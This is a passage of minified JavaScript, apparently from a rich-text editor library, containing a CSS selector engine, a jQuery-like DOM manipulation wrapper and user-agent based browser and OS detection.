n=_e.attrHandle[t.toLowerCase()],r=n&&Ze.call(_e.attrHandle,t.toLowerCase())?n(e,t,!Ue):undefined;return r!==undefined?r:ke.attributes||!Ue?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},St.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},St.uniqueSort=function(e){var t,n=[],r=0,o=0;if(Le=!ke.detectDuplicates,Ie=!ke.sortStable&&e.slice(0),e.sort(Je),Le){for(;t=e[o++];)t===e[o]&&(r=n.push(o));for(;r--;)e.splice(n[r],1)}return Ie=null,e},Ae=St.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=Ae(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[r++];)n+=Ae(t);return n},(_e=St.selectors={cacheLength:50,createPseudo:kt,match:ht,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Nt,Et),e[3]=(e[3]||e[4]||e[5]||"").replace(Nt,Et),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||St.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&St.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return ht.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&>.test(n)&&(t=De(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Nt,Et).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=Xe[e+" "];return t||(t=new RegExp("(^|"+at+")"+e+"("+at+"|$)"))&&Xe(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==Qe&&e.getAttribute("class")||"")})},ATTR:function(n,r,o){return function(e){var t=St.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===o:"!="===r?t!==o:"^="===r?o&&0===t.indexOf(o):"*="===r?o&&-1<t.indexOf(o):"$="===r?o&&t.slice(-o.length)===o:"~="===r?-1<(" "+t+" ").indexOf(o):"|="===r&&(t===o||t.slice(0,o.length+1)===o+"-"))}},CHILD:function(m,e,t,g,p){var h="nth"!==m.slice(0,3),v="last"!==m.slice(-4),y="of-type"===e;return 1===g&&0===p?function(e){return!!e.parentNode}:function(e,t,n){var r,o,i,a,u,s,c=h!==v?"nextSibling":"previousSibling",l=e.parentNode,f=y&&e.nodeName.toLowerCase(),d=!n&&!y;if(l){if(h){for(;c;){for(i=e;i=i[c];)if(y?i.nodeName.toLowerCase()===f:1===i.nodeType)return!1;s=c="only"===m&&!s&&"nextSibling"}return!0}if(s=[v?l.firstChild:l.lastChild],v&&d){for(u=(r=(o=l[qe]||(l[qe]={}))[m]||[])[0]===We&&r[1],a=r[0]===We&&r[2],i=u&&l.childNodes[u];i=++u&&i&&i[c]||(a=u=0)||s.pop();)if(1===i.nodeType&&++a&&i===e){o[m]=[We,u,a];break}}else if(d&&(r=(e[qe]||(e[qe]={}))[m])&&r[0]===We)a=r[1];else for(;(i=++u&&i&&i[c]||(a=u=0)||s.pop())&&((y?i.nodeName.toLowerCase()!==f:1!==i.nodeType)||!++a||(d&&((i[qe]||(i[qe]={}))[m]=[We,a]),i!==e)););return(a-=p)===g||a%g==0&&0<=a/g}}},PSEUDO:function(e,i){var t,a=_e.pseudos[e]||_e.setFilters[e.toLowerCase()]||St.error("unsupported pseudo: "+e);return a[qe]?a(i):1<a.length?(t=[e,e,"",i],_e.setFilters.hasOwnProperty(e.toLowerCase())?kt(function(e,t){for(var n,r=a(e,i),o=r.length;o--;)e[n=it.call(e,r[o])]=!(t[n]=r[o])}):function(e){return a(e,0,t)}):a}},pseudos:{not:kt(function(e){var r=[],o=[],u=Oe(e.replace(lt,"$1"));return u[qe]?kt(function(e,t,n,r){for(var o,i=u(e,null,r,[]),a=e.length;a--;)(o=i[a])&&(e[a]=!(t[a]=o))}):function(e,t,n){return r[0]=e,u(r,null,n,o),!o.pop()}}),has:kt(function(t){return function(e){return 0<St(t,e).length}}),contains:kt(function(t){return t=t.replace(Nt,Et),function(e){return-1<(e.textContent||e.innerText||Ae(e)).indexOf(t)}}),lang:kt(function(n){return pt.test(n||"")||St.error("unsupported lang: "+n),n=n.replace(Nt,Et).toLowerCase(),function(e){var t;do{if(t=Ue?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=V.window.location&&V.window.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===ze},focus:function(e){return e===Me.activeElement&&(!Me.hasFocus||Me.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return!1===e.disabled},disabled:function(e){return!0===e.disabled},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!_e.pseudos.empty(e)},header:function(e){return yt.test(e.nodeName)},input:function(e){return vt.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:Dt(function(){return[0]}),last:Dt(function(e,t){return[t-1]}),eq:Dt(function(e,t,n){return[n<0?n+t:n]}),even:Dt(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:Dt(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:Dt(function(e,t,n){for(var r=n<0?n+t:n;0<=--r;)e.push(r);return e}),gt:Dt(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=_e.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})_e.pseudos[Te]=At(Te);for(Te in{submit:!0,reset:!0})_e.pseudos[Te]=Rt(Te);function Bt(){}function Pt(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function It(a,e,t){var u=e.dir,s=t&&"parentNode"===u,c=Ke++;return e.first?function(e,t,n){for(;e=e[u];)if(1===e.nodeType||s)return a(e,t,n)}:function(e,t,n){var r,o,i=[We,c];if(n){for(;e=e[u];)if((1===e.nodeType||s)&&a(e,t,n))return!0}else for(;e=e[u];)if(1===e.nodeType||s){if((r=(o=e[qe]||(e[qe]={}))[u])&&r[0]===We&&r[1]===c)return i[2]=r[2];if((o[u]=i)[2]=a(e,t,n))return!0}}}function Lt(o){return 1<o.length?function(e,t,n){for(var r=o.length;r--;)if(!o[r](e,t,n))return!1;return!0}:o[0]}function Ft(e,t,n,r,o){for(var i,a=[],u=0,s=e.length,c=null!=t;u<s;u++)(i=e[u])&&(n&&!n(i,r,o)||(a.push(i),c&&t.push(u)));return a}function Mt(m,g,p,h,v,e){return h&&!h[qe]&&(h=Mt(h)),v&&!v[qe]&&(v=Mt(v,e)),kt(function(e,t,n,r){var o,i,a,u=[],s=[],c=t.length,l=e||function(e,t,n){for(var r=0,o=t.length;r<o;r++)St(e,t[r],n);return n}(g||"*",n.nodeType?[n]:n,[]),f=!m||!e&&g?l:Ft(l,u,m,n,r),d=p?v||(e?m:c||h)?[]:t:f;if(p&&p(f,d,n,r),h)for(o=Ft(d,s),h(o,[],n,r),i=o.length;i--;)(a=o[i])&&(d[s[i]]=!(f[s[i]]=a));if(e){if(v||m){if(v){for(o=[],i=d.length;i--;)(a=d[i])&&o.push(f[i]=a);v(null,d=[],o,r)}for(i=d.length;i--;)(a=d[i])&&-1<(o=v?it.call(e,a):u[i])&&(e[o]=!(t[o]=a))}}else d=Ft(d===t?d.splice(c,d.length):d),v?v(null,t,d,r):rt.apply(t,d)})}function zt(e){for(var r,t,n,o=e.length,i=_e.relative[e[0].type],a=i||_e.relative[" "],u=i?1:0,s=It(function(e){return e===r},a,!0),c=It(function(e){return-1<it.call(r,e)},a,!0),l=[function(e,t,n){return!i&&(n||t!==Pe)||((r=t).nodeType?s(e,t,n):c(e,t,n))}];u<o;u++)if(t=_e.relative[e[u].type])l=[It(Lt(l),t)];else{if((t=_e.filter[e[u].type].apply(null,e[u].matches))[qe]){for(n=++u;n<o&&!_e.relative[e[n].type];n++);return Mt(1<u&&Lt(l),1<u&&Pt(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(lt,"$1"),t,u<n&&zt(e.slice(u,n)),n<o&&zt(e=e.slice(n)),n<o&&Pt(e))}l.push(t)}return Lt(l)}Bt.prototype=_e.filters=_e.pseudos,_e.setFilters=new Bt,De=St.tokenize=function(e,t){var n,r,o,i,a,u,s,c=Ye[e+" "];if(c)return t?0:c.slice(0);for(a=e,u=[],s=_e.preFilter;a;){for(i in n&&!(r=ft.exec(a))||(r&&(a=a.slice(r[0].length)||a),u.push(o=[])),n=!1,(r=dt.exec(a))&&(n=r.shift(),o.push({value:n,type:r[0].replace(lt," ")}),a=a.slice(n.length)),_e.filter)!(r=ht[i].exec(a))||s[i]&&!(r=s[i](r))||(n=r.shift(),o.push({value:n,type:i,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?St.error(e):Ye(e,u).slice(0)},Oe=St.compile=function(e,t){var n,h,v,y,b,r,o=[],i=[],a=Ge[e+" "];if(!a){for(t||(t=De(e)),n=t.length;n--;)(a=zt(t[n]))[qe]?o.push(a):i.push(a);(a=Ge(e,(h=i,y=0<(v=o).length,b=0<h.length,r=function(e,t,n,r,o){var i,a,u,s=0,c="0",l=e&&[],f=[],d=Pe,m=e||b&&_e.find.TAG("*",o),g=We+=null==d?1:Math.random()||.1,p=m.length;for(o&&(Pe=t!==Me&&t);c!==p&&null!=(i=m[c]);c++){if(b&&i){for(a=0;u=h[a++];)if(u(i,t,n)){r.push(i);break}o&&(We=g)}y&&((i=!u&&i)&&s--,e&&l.push(i))}if(s+=c,y&&c!==s){for(a=0;u=v[a++];)u(l,f,t,n);if(e){if(0<s)for(;c--;)l[c]||f[c]||(f[c]=tt.call(r));f=Ft(f)}rt.apply(r,f),o&&!e&&0<f.length&&1<s+v.length&&St.uniqueSort(r)}return o&&(We=g,Pe=d),l},y?kt(r):r))).selector=e}return a},Be=St.select=function(e,t,n,r){var o,i,a,u,s,c="function"==typeof e&&e,l=!r&&De(e=c.selector||e);if(n=n||[],1===l.length){if(2<(i=l[0]=l[0].slice(0)).length&&"ID"===(a=i[0]).type&&ke.getById&&9===t.nodeType&&Ue&&_e.relative[i[1].type]){if(!(t=(_e.find.ID(a.matches[0].replace(Nt,Et),t)||[])[0]))return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(o=ht.needsContext.test(e)?0:i.length;o--&&(a=i[o],!_e.relative[u=a.type]);)if((s=_e.find[u])&&(r=s(a.matches[0].replace(Nt,Et),xt.test(i[0].type)&&Ot(t.parentNode)||t))){if(i.splice(o,1),!(e=r.length&&Pt(i)))return rt.apply(n,r),n;break}}return(c||Oe(e,l))(r,t,!Ue,n,xt.test(e)&&Ot(t.parentNode)||t),n},ke.sortStable=qe.split("").sort(Je).join("")===qe,ke.detectDuplicates=!!Le,Fe(),ke.sortDetached=!0;var Ut=Array.isArray,jt=function(e,t,n){var r,o;if(!e)return 0;if(n=n||e,e.length!==undefined){for(r=0,o=e.length;r<o;r++)if(!1===t.call(n,e[r],r,e))return 0}else for(r in e)if(e.hasOwnProperty(r)&&!1===t.call(n,e[r],r,e))return 0;return 1},Vt=function(e,t,n){var r,o;for(r=0,o=e.length;r<o;r++)if(t.call(n,e[r],r,e))return r;return-1},Ht={isArray:Ut,toArray:function(e){var t,n,r=e;if(!Ut(e))for(r=[],t=0,n=e.length;t<n;t++)r[t]=e[t];return r},each:jt,map:function(n,r){var o=[];return jt(n,function(e,t){o.push(r(e,t,n))}),o},filter:function(n,r){var o=[];return jt(n,function(e,t){r&&!r(e,t,n)||o.push(e)}),o},indexOf:function(e,t){var n,r;if(e)for(n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},reduce:function(e,t,n,r){var o=0;for(arguments.length<3&&(n=e[0]);o<e.length;o++)n=t.call(r,n,e[o],o);return n},findIndex:Vt,find:function(e,t,n){var r=Vt(e,t,n);return-1!==r?e[r]:undefined},last:function(e){return e[e.length-1]}},qt=/^\s*|\s*$/g,$t=function(e){return null===e||e===undefined?"":(""+e).replace(qt,"")},Wt=function(e,t){return t?!("array"!==t||!Ht.isArray(e))||typeof e===t:e!==undefined},Kt=function(e,n,r,o){o=o||this,e&&(r&&(e=e[r]),Ht.each(e,function(e,t){if(!1===n.call(o,e,t,r))return!1;Kt(e,n,r,o)}))},Xt={trim:$t,isArray:Ht.isArray,is:Wt,toArray:Ht.toArray,makeMap:function(e,t,n){var r;for(t=t||",","string"==typeof(e=e||[])&&(e=e.split(t)),n=n||{},r=e.length;r--;)n[e[r]]={};return n},each:Ht.each,map:Ht.map,grep:Ht.filter,inArray:Ht.indexOf,hasOwn:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},extend:function(e,t){for(var n,r,o,i=[],a=2;a<arguments.length;a++)i[a-2]=arguments[a];var u,s=arguments;for(n=1,r=s.length;n<r;n++)for(o in t=s[n])t.hasOwnProperty(o)&&(u=t[o])!==undefined&&(e[o]=u);return e},create:function(e,t,n){var r,o,i,a,u,s=this,c=0;if(e=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(e),i=e[3].match(/(^|\.)(\w+)$/i)[2],!(o=s.createNS(e[3].replace(/\.\w+$/,""),n))[i]){if("static"===e[2])return o[i]=t,void(this.onCreate&&this.onCreate(e[2],e[3],o[i]));t[i]||(t[i]=function(){},c=1),o[i]=t[i],s.extend(o[i].prototype,t),e[5]&&(r=s.resolve(e[5]).prototype,a=e[5].match(/\.(\w+)$/i)[1],u=o[i],o[i]=c?function(){return r[a].apply(this,arguments)}:function(){return this.parent=r[a],u.apply(this,arguments)},o[i].prototype[i]=o[i],s.each(r,function(e,t){o[i].prototype[t]=r[t]}),s.each(t,function(e,t){r[t]?o[i].prototype[t]=function(){return this.parent=r[t],e.apply(this,arguments)}:t!==i&&(o[i].prototype[t]=e)})),s.each(t["static"],function(e,t){o[i][t]=e})}},walk:Kt,createNS:function(e,t){var n,r;for(t=t||V.window,e=e.split("."),n=0;n<e.length;n++)t[r=e[n]]||(t[r]={}),t=t[r];return t},resolve:function(e,t){var n,r;for(t=t||V.window,n=0,r=(e=e.split(".")).length;n<r&&(t=t[e[n]]);n++);return t},explode:function(e,t){return!e||Wt(e,"array")?e:Ht.map(e.split(t||","),$t)},_addCacheSuffix:function(e){var t=fe.cacheSuffix;return t&&(e+=(-1===e.indexOf("?")?"?":"&")+t),e}},Yt=V.document,Gt=Array.prototype.push,Jt=Array.prototype.slice,Qt=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,Zt=Se.Event,en=Xt.makeMap("children,contents,next,prev"),tn=function(e){return void 0!==e},nn=function(e){return"string"==typeof e},rn=function(e,t){var n,r,o;for(o=(t=t||Yt).createElement("div"),n=t.createDocumentFragment(),o.innerHTML=e;r=o.firstChild;)n.appendChild(r);return n},on=function(e,t,n,r){var o;if(nn(t))t=rn(t,bn(e[0]));else if(t.length&&!t.nodeType){if(t=gn.makeArray(t),r)for(o=t.length-1;0<=o;o--)on(e,t[o],n,r);else for(o=0;o<t.length;o++)on(e,t[o],n,r);return e}if(t.nodeType)for(o=e.length;o--;)n.call(e[o],t);return e},an=function(e,t){return e&&t&&-1!==(" "+e.className+" ").indexOf(" "+t+" ")},un=function(e,t,n){var r,o;return t=gn(t)[0],e.each(function(){var e=this;n&&r===e.parentNode||(r=e.parentNode,o=t.cloneNode(!1),e.parentNode.insertBefore(o,e)),o.appendChild(e)}),e},sn=Xt.makeMap("fillOpacity fontWeight lineHeight opacity orphans widows zIndex zoom"," "),cn=Xt.makeMap("checked compact declare defer disabled ismap multiple nohref noshade nowrap readonly selected"," "),ln={"for":"htmlFor","class":"className",readonly:"readOnly"},fn={"float":"cssFloat"},dn={},mn={},gn=function(e,t){return new gn.fn.init(e,t)},pn=/^\s*|\s*$/g,hn=function(e){return null===e||e===undefined?"":(""+e).replace(pn,"")},vn=function(e,t){var n,r,o,i;if(e)if((n=e.length)===undefined){for(r in e)if(e.hasOwnProperty(r)&&(i=e[r],!1===t.call(i,r,i)))break}else for(o=0;o<n&&(i=e[o],!1!==t.call(i,o,i));o++);return e},yn=function(e,n){var r=[];return vn(e,function(e,t){n(t,e)&&r.push(t)}),r},bn=function(e){return e?9===e.nodeType?e:e.ownerDocument:Yt};gn.fn=gn.prototype={constructor:gn,selector:"",context:null,length:0,init:function(e,t){var n,r,o=this;if(!e)return o;if(e.nodeType)return o.context=o[0]=e,o.length=1,o;if(t&&t.nodeType)o.context=t;else{if(t)return gn(e).attr(t);o.context=t=V.document}if(nn(e)){if(!(n="<"===(o.selector=e).charAt(0)&&">"===e.charAt(e.length-1)&&3<=e.length?[null,e,null]:Qt.exec(e)))return gn(t).find(e);if(n[1])for(r=rn(e,bn(t)).firstChild;r;)Gt.call(o,r),r=r.nextSibling;else{if(!(r=bn(t).getElementById(n[2])))return o;if(r.id!==n[2])return o.find(e);o.length=1,o[0]=r}}else this.add(e,!1);return o},toArray:function(){return Xt.toArray(this)},add:function(e,t){var n,r,o=this;if(nn(e))return o.add(gn(e));if(!1!==t)for(n=gn.unique(o.toArray().concat(gn.makeArray(e))),o.length=n.length,r=0;r<n.length;r++)o[r]=n[r];else Gt.apply(o,gn.makeArray(e));return o},attr:function(t,n){var e,r=this;if("object"==typeof t)vn(t,function(e,t){r.attr(e,t)});else{if(!tn(n)){if(r[0]&&1===r[0].nodeType){if((e=dn[t])&&e.get)return e.get(r[0],t);if(cn[t])return r.prop(t)?t:undefined;null===(n=r[0].getAttribute(t,2))&&(n=undefined)}return n}this.each(function(){var e;if(1===this.nodeType){if((e=dn[t])&&e.set)return void e.set(this,n);null===n?this.removeAttribute(t,2):this.setAttribute(t,n,2)}})}return r},removeAttr:function(e){return this.attr(e,null)},prop:function(e,t){var n=this;if("object"==typeof(e=ln[e]||e))vn(e,function(e,t){n.prop(e,t)});else{if(!tn(t))return n[0]&&n[0].nodeType&&e in n[0]?n[0][e]:t;this.each(function(){1===this.nodeType&&(this[e]=t)})}return n},css:function(n,r){var e,o,i=this,t=function(e){return e.replace(/-(\D)/g,function(e,t){return t.toUpperCase()})},a=function(e){return e.replace(/[A-Z]/g,function(e){return"-"+e})};if("object"==typeof n)vn(n,function(e,t){i.css(e,t)});else if(tn(r))n=t(n),"number"!=typeof r||sn[n]||(r=r.toString()+"px"),i.each(function(){var e=this.style;if((o=mn[n])&&o.set)o.set(this,r);else{try{this.style[fn[n]||n]=r}catch(t){}null!==r&&""!==r||(e.removeProperty?e.removeProperty(a(n)):e.removeAttribute(n))}});else{if(e=i[0],(o=mn[n])&&o.get)return o.get(e);if(!e.ownerDocument.defaultView)return e.currentStyle?e.currentStyle[t(n)]:"";try{return e.ownerDocument.defaultView.getComputedStyle(e,null).getPropertyValue(a(n))}catch(u){return undefined}}return i},remove:function(){for(var e,t=this.length;t--;)e=this[t],Zt.clean(e),e.parentNode&&e.parentNode.removeChild(e);return this},empty:function(){for(var e,t=this.length;t--;)for(e=this[t];e.firstChild;)e.removeChild(e.firstChild);return this},html:function(e){var t,n=this;if(tn(e)){t=n.length;try{for(;t--;)n[t].innerHTML=e}catch(r){gn(n[t]).empty().append(e)}return n}return n[0]?n[0].innerHTML:""},text:function(e){var t,n=this;if(tn(e)){for(t=n.length;t--;)"innerText"in n[t]?n[t].innerText=e:n[0].textContent=e;return n}return n[0]?n[0].innerText||n[0].textContent:""},append:function(){return on(this,arguments,function(e){(1===this.nodeType||this.host&&1===this.host.nodeType)&&this.appendChild(e)})},prepend:function(){return on(this,arguments,function(e){(1===this.nodeType||this.host&&1===this.host.nodeType)&&this.insertBefore(e,this.firstChild)},!0)},before:function(){return this[0]&&this[0].parentNode?on(this,arguments,function(e){this.parentNode.insertBefore(e,this)}):this},after:function(){return this[0]&&this[0].parentNode?on(this,arguments,function(e){this.parentNode.insertBefore(e,this.nextSibling)},!0):this},appendTo:function(e){return gn(e).append(this),this},prependTo:function(e){return gn(e).prepend(this),this},replaceWith:function(e){return this.before(e).remove()},wrap:function(e){return un(this,e)},wrapAll:function(e){return un(this,e,!0)},wrapInner:function(e){return this.each(function(){gn(this).contents().wrapAll(e)}),this},unwrap:function(){return this.parent().each(function(){gn(this).replaceWith(this.childNodes)})},clone:function(){var e=[];return this.each(function(){e.push(this.cloneNode(!0))}),gn(e)},addClass:function(e){return this.toggleClass(e,!0)},removeClass:function(e){return this.toggleClass(e,!1)},toggleClass:function(o,i){var e=this;return"string"!=typeof o||(-1!==o.indexOf(" ")?vn(o.split(" "),function(){e.toggleClass(this,i)}):e.each(function(e,t){var n,r;(r=an(t,o))!==i&&(n=t.className,r?t.className=hn((" "+n+" ").replace(" "+o+" "," ")):t.className+=n?" "+o:o)})),e},hasClass:function(e){return an(this[0],e)},each:function(e){return vn(this,e)},on:function(e,t){return this.each(function(){Zt.bind(this,e,t)})},off:function(e,t){return this.each(function(){Zt.unbind(this,e,t)})},trigger:function(e){return this.each(function(){"object"==typeof e?Zt.fire(this,e.type,e):Zt.fire(this,e)})},show:function(){return this.css("display","")},hide:function(){return this.css("display","none")},slice:function(){return new gn(Jt.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},find:function(e){var t,n,r=[];for(t=0,n=this.length;t<n;t++)gn.find(e,this[t],r);return gn(r)},filter:function(n){return gn("function"==typeof n?yn(this.toArray(),function(e,t){return n(t,e)}):gn.filter(n,this.toArray()))},closest:function(n){var r=[];return n instanceof gn&&(n=n[0]),this.each(function(e,t){for(;t;){if("string"==typeof n&&gn(t).is(n)){r.push(t);break}if(t===n){r.push(t);break}t=t.parentNode}}),gn(r)},offset:function(e){var t,n,r,o,i=0,a=0;return e?this.css(e):((t=this[0])&&(r=(n=t.ownerDocument).documentElement,t.getBoundingClientRect&&(i=(o=t.getBoundingClientRect()).left+(r.scrollLeft||n.body.scrollLeft)-r.clientLeft,a=o.top+(r.scrollTop||n.body.scrollTop)-r.clientTop)),{left:i,top:a})},push:Gt,sort:[].sort,splice:[].splice},Xt.extend(gn,{extend:Xt.extend,makeArray:function(e){return(t=e)&&t===t.window||e.nodeType?[e]:Xt.toArray(e);var t},inArray:function(e,t){var n;if(t.indexOf)return t.indexOf(e);for(n=t.length;n--;)if(t[n]===e)return n;return-1},isArray:Xt.isArray,each:vn,trim:hn,grep:yn,find:St,expr:St.selectors,unique:St.uniqueSort,text:St.getText,contains:St.contains,filter:function(e,t,n){var r=t.length;for(n&&(e=":not("+e+")");r--;)1!==t[r].nodeType&&t.splice(r,1);return t=1===t.length?gn.find.matchesSelector(t[0],e)?[t[0]]:[]:gn.find.matches(e,t)}});var Cn=function(e,t,n){var r=[],o=e[t];for("string"!=typeof n&&n instanceof gn&&(n=n[0]);o&&9!==o.nodeType;){if(n!==undefined){if(o===n)break;if("string"==typeof n&&gn(o).is(n))break}1===o.nodeType&&r.push(o),o=o[t]}return r},xn=function(e,t,n,r){var o=[];for(r instanceof gn&&(r=r[0]);e;e=e[t])if(!n||e.nodeType===n){if(r!==undefined){if(e===r)break;if("string"==typeof r&&gn(e).is(r))break}o.push(e)}return o},wn=function(e,t,n){for(e=e[t];e;e=e[t])if(e.nodeType===n)return e;return null};vn({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return Cn(e,"parentNode")},next:function(e){return wn(e,"nextSibling",1)},prev:function(e){return wn(e,"previousSibling",1)},children:function(e){return xn(e.firstChild,"nextSibling",1)},contents:function(e){return Xt.toArray(("iframe"===e.nodeName?e.contentDocument||e.contentWindow.document:e).childNodes)}},function(e,r){gn.fn[e]=function(t){var n=[];return this.each(function(){var e=r.call(n,this,t,n);e&&(gn.isArray(e)?n.push.apply(n,e):n.push(e))}),1<this.length&&(en[e]||(n=gn.unique(n)),0===e.indexOf("parents")&&(n=n.reverse())),n=gn(n),t?n.filter(t):n}}),vn({parentsUntil:function(e,t){return Cn(e,"parentNode",t)},nextUntil:function(e,t){return xn(e,"nextSibling",1,t).slice(1)},prevUntil:function(e,t){return xn(e,"previousSibling",1,t).slice(1)}},function(r,o){gn.fn[r]=function(t,e){var n=[];return this.each(function(){var e=o.call(n,this,t,n);e&&(gn.isArray(e)?n.push.apply(n,e):n.push(e))}),1<this.length&&(n=gn.unique(n),0!==r.indexOf("parents")&&"prevUntil"!==r||(n=n.reverse())),n=gn(n),e?n.filter(e):n}}),gn.fn.is=function(e){return!!e&&0<this.filter(e).length},gn.fn.init.prototype=gn.fn,gn.overrideDefaults=function(n){var r,o=function(e,t){return r=r||n(),0===arguments.length&&(e=r.element),t||(t=r.context),new o.fn.init(e,t)};return gn.extend(o,this),o};var Nn=function(n,r,e){vn(e,function(e,t){n[e]=n[e]||{},n[e][r]=t})};fe.ie&&fe.ie<8&&(Nn(dn,"get",{maxlength:function(e){var t=e.maxLength;return 2147483647===t?undefined:t},size:function(e){var t=e.size;return 20===t?undefined:t},"class":function(e){return e.className},style:function(e){var t=e.style.cssText;return 0===t.length?undefined:t}}),Nn(dn,"set",{"class":function(e,t){e.className=t},style:function(e,t){e.style.cssText=t}})),fe.ie&&fe.ie<9&&(fn["float"]="styleFloat",Nn(mn,"set",{opacity:function(e,t){var n=e.style;null===t||""===t?n.removeAttribute("filter"):(n.zoom=1,n.filter="alpha(opacity="+100*t+")")}})),gn.attrHooks=dn,gn.cssHooks=mn;var En,Sn,Tn,kn,_n,An,Rn,Dn=function(e,t){var n=function(e,t){for(var n=0;n<e.length;n++){var r=e[n];if(r.test(t))return r}return undefined}(e,t);if(!n)return{major:0,minor:0};var r=function(e){return Number(t.replace(n,"$"+e))};return Bn(r(1),r(2))},On=function(){return Bn(0,0)},Bn=function(e,t){return{major:e,minor:t}},Pn={nu:Bn,detect:function(e,t){var n=String(t).toLowerCase();return 0===e.length?On():Dn(e,n)},unknown:On},In="Firefox",Ln=function(e,t){return function(){return t===e}},Fn=function(e){var t=e.current;return{current:t,version:e.version,isEdge:Ln("Edge",t),isChrome:Ln("Chrome",t),isIE:Ln("IE",t),isOpera:Ln("Opera",t),isFirefox:Ln(In,t),isSafari:Ln("Safari",t)}},Mn={unknown:function(){return Fn({current:undefined,version:Pn.unknown()})},nu:Fn,edge:q("Edge"),chrome:q("Chrome"),ie:q("IE"),opera:q("Opera"),firefox:q(In),safari:q("Safari")},zn="Windows",Un="Android",jn="Solaris",Vn="FreeBSD",Hn=function(e,t){return function(){return t===e}},qn=function(e){var t=e.current;return{current:t,version:e.version,isWindows:Hn(zn,t),isiOS:Hn("iOS",t),isAndroid:Hn(Un,t),isOSX:Hn("OSX",t),isLinux:Hn("Linux",t),isSolaris:Hn(jn,t),isFreeBSD:Hn(Vn,t)}},$n={unknown:function(){return qn({current:undefined,version:Pn.unknown()})},nu:qn,windows:q(zn),ios:q("iOS"),android:q(Un),linux:q("Linux"),osx:q("OSX"),solaris:q(jn),freebsd:q(Vn)},Wn=function(e,t){var n=String(t).toLowerCase();return X(e,function(e){return e.search(n)})},Kn=function(e,n){return Wn(e,n).map(function(e){var t=Pn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},Xn=function(e,n){return Wn(e,n).map(function(e){var t=Pn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},Yn=function(e,t){return-1!==e.indexOf(t)},Gn=function(e){return e.replace(/^\s+|\s+$/g,"")},Jn=function(e){return e.replace(/\s+$/g,"")},Qn=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,Zn=function(t){return function(e){return Yn(e,t)}},er=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return Yn(e,"edge/")&&Yn(e,"chrome")&&Yn(e,"safari")&&Yn(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,Qn],search:function(e){return Yn(e,"chrome")&&!Yn(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return Yn(e,"msie")||Yn(e,"trident")}},{name:"Opera",versionRegexes:[Qn,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Zn("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Zn("firefox")},{name:"Safari",versionRegexes:[Qn,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(Yn(e,"safari")||Yn(e,"mobile/"))&&Yn(e,"applewebkit")}}],tr=[{name:"Windows",search:Zn("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return 